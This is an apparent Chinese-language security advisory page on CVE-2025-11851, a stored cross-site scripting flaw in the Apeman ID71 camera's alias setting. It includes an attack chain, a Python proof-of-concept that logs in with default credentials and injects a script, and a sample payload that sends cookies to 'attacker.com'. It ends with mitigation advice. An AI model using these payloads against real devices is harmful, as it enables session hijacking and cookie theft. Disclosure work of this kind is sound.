IPBUF安全漏洞报告
English
CVE-2025-11851 CVSS 3.5 低危

CVE-2025-11851:Apeman ID71摄像头跨站脚本漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-11851
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
3.5 低危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Apeman ID71 摄像头

相关标签

XSS跨站脚本ApemanID71摄像头IoT设备Web漏洞CVE-2025-11851固件漏洞低危漏洞

漏洞概述

CVE-2025-11851是Apeman ID71网络摄像头固件EN75.8.53.20版本中存在的一个跨站脚本(XSS)漏洞。该漏洞位于设备的Web管理接口中的/set_alias.cgi文件,攻击者可以通过操纵alias参数注入恶意脚本代码。由于该接口是摄像头的配置管理页面,攻击者可以利用此漏洞在受害者的浏览器上下文中执行任意JavaScript代码。

该漏洞的CVSS 3.1评分为3.5分,属于低危级别。漏洞的攻击向量为网络(AV:N),攻击复杂度低(AC:L),但需要低权限认证(PR:L)且需要用户交互(UI:R)。从影响范围来看,该漏洞主要影响完整性(I:L),对机密性的影响较低,对可用性没有直接影响。

值得注意的是,该漏洞的发现者曾尝试联系Apeman厂商进行修复,但厂商未作出任何回应。漏洞的利用代码已在GitHub上公开披露,任何具备基本认证凭据的攻击者都可以利用此漏洞。该漏洞的存在反映了IoT设备在Web接口安全性方面的常见问题——缺乏对用户输入的充分验证和过滤。

技术细节

该XSS漏洞的根本原因在于Apeman ID71摄像头固件的Web管理界面中,/set_alias.cgi端点未对alias参数进行充分的输入验证和输出编码。当用户通过Web界面修改设备别名(alias)时,设备固件直接将用户输入的alias值存储并在后续页面中反射输出,而没有进行HTML实体编码或过滤危险字符。

从技术层面分析,攻击流程如下:

1. 攻击者首先需要获取摄像头的管理访问凭据(用户名和密码),这可以通过默认凭据爆破、社会工程学或之前的数据泄露获得。

2. 攻击者构造包含恶意JavaScript代码的alias参数值,例如:<script>alert(document.cookie)</script>或更复杂的payload如<img src=x onerror=fetch('http://attacker.com/steal?c='+document.cookie)>。

3. 攻击者通过认证后的会话向/set_alias.cgi端点发送HTTP请求,将恶意payload作为alias参数提交。

4. 服务器存储该alias值,并在后续的管理页面中直接渲染输出。当合法管理员或用户访问包含该别名的页面时,恶意脚本将在其浏览器上下文中执行。

5. 由于该漏洞需要用户交互(UI:R),攻击者通常需要诱使管理员访问包含恶意alias的页面,或者通过钓鱼邮件等方式引导管理员点击特制链接。

该漏洞的利用可能导致会话劫持、权限提升(通过窃取管理员cookie)、钓鱼攻击或恶意操作。由于摄像头通常部署在敏感位置,攻击者还可以利用此漏洞作为进一步入侵网络的内网跳板。

攻击链分析

STEP 1
步骤1:获取认证凭据
攻击者通过默认凭据尝试、暴力破解、社会工程学或利用之前泄露的凭据,获取Apeman ID71摄像头的管理界面访问权限。
STEP 2
步骤2:构造XSS Payload
攻击者构造包含恶意JavaScript代码的alias参数值,如窃取cookie、会话令牌或执行管理操作的脚本代码。
STEP 3
步骤3:注入恶意Payload
通过认证会话向/set_alias.cgi端点提交包含恶意脚本的alias参数,将payload存储到设备固件中。
STEP 4
步骤4:等待用户触发
当合法管理员或用户通过浏览器访问包含该别名的设备管理页面时,恶意脚本将在其浏览器上下文中自动执行。
STEP 5
步骤5:执行恶意操作
恶意脚本可以窃取管理员cookie、会话令牌,进行权限提升,发起钓鱼攻击,或作为进一步入侵内网的跳板。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2025-11851 - Apeman ID71 XSS PoC Vulnerability: Reflected/Stored XSS in /set_alias.cgi via 'alias' parameter Target: Apeman ID71 Camera firmware EN75.8.53.20 """ import requests import sys from urllib.parse import quote TARGET_HOST = "http://<target_ip>" USERNAME = "admin" PASSWORD = "admin" # XSS payload - can be customized for different attack scenarios XSS_PAYLOAD = '<script>alert("XSS-CVE-2025-11851")</script>' def exploit(target_host, username, password, payload): session = requests.Session() # Step 1: Authenticate to the camera web interface login_url = f"{target_host}/login.cgi" login_data = { "username": username, "password": password } print(f"[*] Authenticating to {target_host}...") resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print(f"[-] Authentication failed with status code: {resp.status_code}") return False print("[+] Authentication successful") # Step 2: Inject XSS payload via alias parameter set_alias_url = f"{target_host}/set_alias.cgi" alias_data = { "alias": payload } print(f"[*] Injecting XSS payload into alias parameter...") print(f"[*] Payload: {payload}") resp = session.post(set_alias_url, data=alias_data, verify=False) if resp.status_code == 200: print("[+] XSS payload successfully injected!") print(f"[*] When an admin views the device page, the script will execute.") return True else: print(f"[-] Failed to inject payload. Status code: {resp.status_code}") return False if __name__ == "__main__": if len(sys.argv) >= 2: TARGET_HOST = sys.argv[1] if len(sys.argv) >= 3: USERNAME = sys.argv[2] if len(sys.argv) >= 4: PASSWORD = sys.argv[3] print("=" * 60) print("CVE-2025-11851 - Apeman ID71 XSS Exploit") print("=" * 60) exploit(TARGET_HOST, USERNAME, PASSWORD, XSS_PAYLOAD)

影响范围

Apeman ID71 固件版本 EN75.8.53.20

防御指南

临时缓解措施
在厂商发布安全补丁之前,建议采取以下临时缓解措施:1)立即修改摄像头默认管理密码,使用强密码;2)将摄像头的Web管理界面限制在内部可信网络中,禁止从公网直接访问;3)使用网络防火墙规则限制对摄像头管理端口的访问;4)在浏览器层面部署内容安全策略(CSP)扩展;5)定期检查设备alias设置是否被异常修改;6)考虑使用专用网络监控工具检测针对IoT设备的可疑活动;7)如果设备支持,禁用Web管理界面,仅使用专用客户端软件进行配置。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表